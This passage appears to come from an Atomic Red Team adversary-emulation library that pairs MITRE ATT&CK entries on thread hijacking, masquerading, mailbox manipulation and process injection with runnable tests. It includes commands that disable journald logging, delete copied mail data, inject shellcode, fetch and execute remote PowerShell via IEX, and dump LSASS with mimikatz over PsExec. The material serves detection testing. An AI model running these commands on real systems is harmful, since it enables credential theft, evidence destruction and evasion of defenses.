' supported_platforms: - linux executor: command: 'sudo sed -i ''s/Storage=auto/Storage=none/'' /etc/systemd/journald.conf ' cleanup_command: | sudo sed -i 's/Storage=none/Storage=auto/' /etc/systemd/journald.conf #re-enables storage of journal data sudo systemctl restart systemd-journald #restart the journal service name: sh elevation_required: true T1055.003: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6 type: attack-pattern created: '2020-01-14T01:28:32.166Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.003 url: https://attack.mitre.org/techniques/T1055/003 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 modified: '2022-04-25T14:00:00.188Z' name: Thread Execution Hijacking description: "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Modification' - 'Process: Process Access' x_mitre_defense_bypassed: - Application control - Anti-virus x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1055.003 atomic_tests: - name: Thread Execution Hijacking auto_generated_guid: 578025d5-faa9-4f6d-8390-aae527d503e1 description: 'This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the "Atomic Red Team" caption after one or two seconds. ' supported_platforms: - windows executor: command: |- $notepad = Start-Process notepad -passthru Start-Process "$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe" Start-Sleep -Seconds 5 Stop-Process $notepad.id name: powershell T1036: technique: modified: '2024-03-08T17:00:59.133Z' name: Masquerading description: |- Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Oleg Kolesnikov, Securonix - Nick Carr, Mandiant - David Lu, Tripwire - Felipe Espósito, @Pr0teus - Elastic - Bartosz Jerzman - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: |- Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Containers x_mitre_version: '1.7' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Metadata' - 'Service: Service Creation' - 'Service: Service Metadata' - 'Process: Process Creation' - 'Image: Image Metadata' - 'Scheduled Job: Scheduled Job Metadata' - 'File: File Metadata' - 'Scheduled Job: Scheduled Job Modification' - 'Command: Command Execution' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Application Control type: attack-pattern id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0 created: '2017-05-31T21:30:38.511Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1036 external_id: T1036 - source_name: Twitter ItsReallyNick Masquerading Update description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. url: https://twitter.com/ItsReallyNick/status/1055321652777619457 - source_name: Elastic Masquerade Ball description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.' url: https://www.elastic.co/blog/how-hunt-masquerade-ball - source_name: LOLBAS Main Site description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020. url: https://lolbas-project.github.io/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1036 atomic_tests: - name: System File Copied to Unusual Location auto_generated_guid: 51005ac7-52e2-45e0-bdab-d17c6d4916cd description: It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory. supported_platforms: - windows executor: command: "copy-item \"$env:windir\\System32\\cmd.exe\" -destination \"$env:allusersprofile\\cmd.exe\"\nstart-process \"$env:allusersprofile\\cmd.exe\"\nsleep -s 5 \nstop-process -name \"cmd\" | out-null" cleanup_command: remove-item "$env:allusersprofile\cmd.exe" -force -erroraction silentlycontinue name: powershell - name: Malware Masquerading and Execution from Zip File auto_generated_guid: 4449c89b-ec82-43a4-89c1-91e2f1abeecc description: When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960) supported_platforms: - windows input_arguments: url: description: Location of zip file type: url default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036/bin/T1036.zip dependencies: - description: Zip file must be present. prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip") {exit 0} else {exit 1} ' get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\nInvoke-WebRequest #{url} -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.zip\" \n" executor: command: |- Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip" -DestinationPath "$env:userprofile\Downloads\T1036" -Force cd "$env:userprofile\Downloads\T1036" cmd /c "$env:userprofile\Downloads\T1036\README.cmd" >$null 2>$null cleanup_command: |- taskkill /IM Calculator.exe /f >$null 2>$null Remove-Item "$env:userprofile\Downloads\T1036" -recurse -ErrorAction Ignore name: powershell T1070.008: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Email Collection: Mailbox Manipulation' description: "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Liran Ravich, CardinalOps x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Office 365 - Google Workspace x_mitre_version: '1.1' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'File: File Deletion' - 'File: File Modification' - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--438c967d-3996-4870-bfc2-3954752a1927 created: '2022-07-08T21:04:03.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1070/008 external_id: T1070.008 - source_name: Volexity SolarWinds description: Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020. url: https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ - source_name: Cybereason Cobalt Kitty 2017 description: Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018. url: https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf - source_name: mailx man page description: Michael Kerrisk. (2021, August 27). mailx(1p) — Linux manual page. Retrieved June 10, 2022. url: https://man7.org/linux/man-pages/man1/mailx.1p.html - source_name: ExchangePowerShell Module description: Microsoft. (2017, September 25). ExchangePowerShell. Retrieved June 10, 2022. url: https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes - source_name: Microsoft OAuth Spam 2022 description: Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023. url: https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1070.008 atomic_tests: - name: Copy and Delete Mailbox Data on Windows auto_generated_guid: d29f01ea-ac72-4efc-8a15-bea64b77fabf description: 'Copies and deletes mail data on Windows ' supported_platforms: - windows executor: command: | New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore } Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore cleanup_command: 'Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore ' name: powershell elevation_required: true - name: Copy and Delete Mailbox Data on Linux auto_generated_guid: 25e2be0e-96f7-4417-bd16-a4a2500e3802 description: 'Copies and deletes mail data on Linux ' supported_platforms: - linux executor: command: | mkdir -p /var/spool/mail/copy for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ] then cp -R "$file" /var/spool/mail/copy/ fi done rm -rf /var/spool/mail/copy/* cleanup_command: 'rm -rf /var/spool/mail/copy ' name: bash elevation_required: true - name: Copy and Delete Mailbox Data on macOS auto_generated_guid: 3824130e-a6e4-4528-8091-3a52eeb540f6 description: 'Copies and deletes mail data on macOS ' supported_platforms: - macos executor: command: | mkdir ~/Library/Mail/copy cp -R ~/Library/Mail/* ~/Library/Mail/copy rm -rf ~/Library/Mail/copy/* cleanup_command: 'rm -rf ~/Library/Mail/copy ' name: bash elevation_required: true - name: Copy and Modify Mailbox Data on Windows auto_generated_guid: edddff85-fee0-499d-9501-7d4d2892e79b description: 'Copies and modifies mail data on Windows ' supported_platforms: - windows executor: command: | New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore } Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -File | ForEach-Object { Add-Content -Path $_.FullName -Value "Modification for Atomic Red Test" -ErrorAction Ignore } cleanup_command: 'Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore ' name: powershell elevation_required: true - name: Copy and Modify Mailbox Data on Linux auto_generated_guid: 6d99f93c-da56-49e3-b195-163090ace4f6 description: 'Copies and modifies mail data on Linux ' supported_platforms: - linux executor: command: | mkdir -p /var/spool/mail/copy for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ] then cp -R "$file" /var/spool/mail/copy/ if [ -f "/var/spool/mail/copy/$(basename "$file")" ]; then echo "Modification for Atomic Red Test" >> "/var/spool/mail/copy/$(basename "$file")" fi fi done cleanup_command: 'rm -rf /var/spool/mail/copy ' name: bash elevation_required: true - name: Copy and Modify Mailbox Data on macOS auto_generated_guid: 8a0b1579-5a36-483a-9cde-0236983e1665 description: 'Copies and modifies mail data on macOS ' supported_platforms: - macos executor: command: | mkdir ~/Library/Mail/copy cp -R ~/Library/Mail/* ~/Library/Mail/copy echo "Manipulated data" > ~/Library/Mail/copy/manipulated.txt cleanup_command: 'rm -rf ~/Library/Mail/copy ' name: bash elevation_required: true T1055: technique: modified: '2023-05-09T14:00:00.188Z' name: Process Injection description: "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Anastasios Pingios - Christiaan Beek, @ChristiaanBeek - Ryan Becwar x_mitre_deprecated: false x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) \ (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Access' - 'Process: Process Modification' - 'File: File Modification' - 'Process: Process Metadata' - 'File: File Metadata' - 'Process: OS API Execution' - 'Module: Module Load' x_mitre_defense_bypassed: - Application control - Anti-virus type: attack-pattern id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d created: '2017-05-31T21:30:47.843Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055 external_id: T1055 - source_name: GNU Acct description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017. url: https://www.gnu.org/software/acct/ - source_name: Elastic Process Injection July 2017 description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: RHEL auditd description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017. url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing - source_name: ArtOfMemoryForensics description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.' - source_name: Microsoft Sysmon v6 May 2017 description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017. url: https://docs.microsoft.com/sysinternals/downloads/sysmon - source_name: Chokepoint preload rootkits description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017. url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1055 atomic_tests: - name: Shellcode execution via VBA auto_generated_guid: 1c91e740-1729-4329-b779-feba6e71d048 description: | This module injects shellcode into a newly created process and executes. By default the shellcode is created, with Metasploit, for use on x86-64 Windows 10 machines. Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office is required. supported_platforms: - windows input_arguments: txt_path: description: Path to file containing VBA macro to run type: path default: PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt dependency_executor_name: powershell dependencies: - description: 'The 64-bit version of Microsoft Office must be installed ' prereq_command: | try { $wdApp = New-Object -COMObject "Word.Application" $path = $wdApp.Path Stop-Process -Name "winword" if ($path.contains("(x86)")) { exit 1 } else { exit 0 } } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement" ' - description: '"#{txt_path}" must exist on disk at specified location ' prereq_command: 'if (Test-Path "#{txt_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{txt_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt" -OutFile "#{txt_path}" -UseBasicParsing executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute" name: powershell - name: Remote Process Injection in LSASS via mimikatz auto_generated_guid: 3203ad24-168e-4bec-be36-f79b13ef8a83 description: | Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread). Especially useful against domain controllers in Active Directory environments. It must be executed in the context of a user who is privileged on remote `machine`. The effect of `/inject` is explained in supported_platforms: - windows input_arguments: machine: description: machine to target (via psexec) type: string default: DC1 mimikatz_path: description: Mimikatz windows executable type: path default: "%tmp%\\mimikatz\\x64\\mimikatz.exe" psexec_path: description: Path to PsExec type: string default: PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases -UseBasicParsing | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - description: 'PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path}) ' prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" -UseBasicParsing Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force executor: command: '"#{psexec_path}" /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit" ' name: command_prompt elevation_required: false - name: Section View Injection auto_generated_guid: c6952f41-6cf0-450a-b352-2ca8dae7c178 description: "This test creates a section object in the local process followed by a local section view.\nThe shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. \nA thread is then created in the target process, using the remote section view as start address.\n" supported_platforms: - windows executor: command: | $notepad = Start-Process notepad -passthru Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe" cleanup_command: Stop-Process $notepad.pid name: powershell - name: Dirty Vanity process Injection auto_generated_guid: 49543237-25db-497b-90df-d0a0a6e8fe2c description: "This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process\nwith shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at \nBlackHat Europe 2022. Shellcode will open a messsage box and a notepad.\n" supported_platforms: - windows input_arguments: pid: description: Parent process ID type: string default: "(Start-Process calc.exe -PassThru).Id" executor: command: 'Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe" #{pid} ' cleanup_command: Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: false - name: Read-Write-Execute process Injection auto_generated_guid: '0128e48e-8c1a-433a-a11a-a5387384f1e1' description: "This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode.\nThe RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms \nthat relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary --> GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.\nThe injected shellcode will open a message box and a notepad.\nRWX Process Injection, also known as MockingJay, was introduced to the security community by SecurityJoes.\nMore details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution.\nThe original injector and idea were developed for game cheats, as visible at https://github.com/M-r-J-o-h-n/SWH-Injector.\n" supported_platforms: - windows input_arguments: vuln_dll: description: vulnerable DLL type: path default: PathToAtomicsFolder\T1055\bin\x64\vuln_dll\msys-2.0.dll dependency_executor_name: powershell dependencies: - description: 'Utility to inject must exist on disk at specified location (#{vuln_dll}) ' prereq_command: 'if (Test-Path "#{vuln_dll}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{vuln_dll}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/vuln_dll/msys-2.0.dll" -OutFile "#{vuln_dll}" executor: command: | $address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value & "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "#{vuln_dll}" $address cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: true - name: Process Injection with Go using UuidFromStringA WinAPI auto_generated_guid: 2315ce15-38b6-46ac-a3eb-5e21abef2545 description: "Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.\nWith this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread \n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)\n- References: \n - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/\n \ - https://twitter.com/_CPResearch_/status/1352310521752662018\n - https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala\n" supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug\n" cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue ' - name: Process Injection with Go using EtwpCreateEtwThread WinAPI auto_generated_guid: 7362ecef-6461-402e-8716-7410e1566400 description: "Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process.\nThis program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Call EtwpCreateEtwThread on shellcode address\n5. Call WaitForSingleObject so the program does not end before the shellcode is executed\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)\n- References: \n - https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3\n \ - https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm\n" supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\EtwpCreateEtwThread.exe -debug\n" cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue ' - name: Remote Process Injection with Go using RtlCreateUserThread WinAPI auto_generated_guid: a0c1725f-abcd-40d6-baac-020f3cf94ecd description: "Executes shellcode in a remote process.\n\nSteps taken with this technique\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n- References: \n - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike\n" supported_platforms: - windows input_arguments: spawn_process_path: description: Path of the binary to spawn type: string default: C:\Windows\System32\werfault.exe spawn_process_name: description: Name of the process spawned type: string default: werfault executor: name: powershell elevation_required: false command: | $process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug cleanup_command: | Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process 